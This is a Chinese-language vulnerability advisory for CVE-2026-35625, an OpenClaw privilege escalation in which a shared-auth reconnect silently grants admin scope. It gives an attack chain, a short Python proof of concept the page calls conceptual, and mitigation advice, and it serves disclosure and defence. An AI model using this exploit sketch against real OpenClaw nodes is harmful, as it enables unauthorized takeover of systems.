IPBUF安全漏洞报告
English
CVE-2026-35625 CVSS 7.8 高危

CVE-2026-35625 OpenClaw 权限提升漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35625
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升远程代码执行OpenClawCVE-2026-35625

漏洞概述

OpenClaw 2026.3.25之前的版本存在严重的权限提升漏洞。该漏洞源于静默本地共享认证重连机制会自动批准权限升级请求,允许攻击者将设备权限从operator.read扩展至operator.admin。利用此漏洞,攻击者可静默提升权限并在节点上实现远程代码执行。

技术细节

该漏洞的核心成因在于OpenClaw处理本地共享认证重连时的逻辑缺陷。在受影响版本中,当已配对的设备尝试重新建立连接时,系统未对权限范围的变更请求实施严格的二次验证或用户确认机制。具体而言,重连流程会自动批准将权限从operator.read(只读操作员)扩展到operator.admin(管理员操作员)的请求。攻击者若已获得本地低权限账户(PR:L),只需恶意触发本地重连流程,即可在无需用户交互(UI:N)的情况下静默提升权限。一旦获取管理员权限,攻击者即可利用OpenClaw的管理接口在受控节点上部署并执行恶意代码,导致远程代码执行(RCE)。此漏洞结合了权限提升与代码执行能力,允许攻击者完全控制受影响系统,破坏系统的机密性、完整性和可用性。

攻击链分析

STEP 1
获取初始访问
攻击者获取OpenClaw节点的本地低权限访问权(operator.read)。
STEP 2
触发重连
攻击者利用本地环境触发共享认证重连流程。
STEP 3
权限静默升级
由于系统漏洞,重连请求自动被批准,权限从operator.read升级至operator.admin,无需用户确认。
STEP 4
执行代码
利用获得的operator.admin权限,攻击者在节点上执行任意代码,完全控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2026-35625 # Target: OpenClaw Node def trigger_privilege_escalation(target_url, auth_token): """ Exploit the silent local shared-auth reconnect to escalate privileges. The system auto-approves scope upgrade from operator.read to operator.admin. """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Endpoint responsible for handling shared-auth reconnection reconnect_endpoint = f"{target_url}/api/v1/reconnect" try: print(f"[*] Attempting to trigger reconnect on {target_url}...") # Triggering the reconnect logic response = requests.post(reconnect_endpoint, headers=headers, json={"force": True}) if response.status_code == 200: print("[+] Reconnect successful. Checking privileges...") # Verify privilege escalation check_endpoint = f"{target_url}/api/v1/whoami" user_info = requests.get(check_endpoint, headers=headers).json() if 'operator.admin' in user_info.get('scopes', []): print("[+] Privilege escalation successful! Scope: operator.admin") print("[+] Ready to execute remote code.") else: print("[-] Privilege escalation failed or already admin.") else: print(f"[-] Failed to trigger reconnect. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target and low-privilege token TARGET = "http://127.0.0.1:8080" LOW_PRIV_TOKEN = "<operator_read_token>" trigger_privilege_escalation(TARGET, LOW_PRIV_TOKEN)

影响范围

OpenClaw < 2026.3.25

防御指南

临时缓解措施
在未升级版本中,应严格限制本地网络访问,防止低权限用户触发重连机制,并密切监控权限变更日志以发现潜在的提权行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表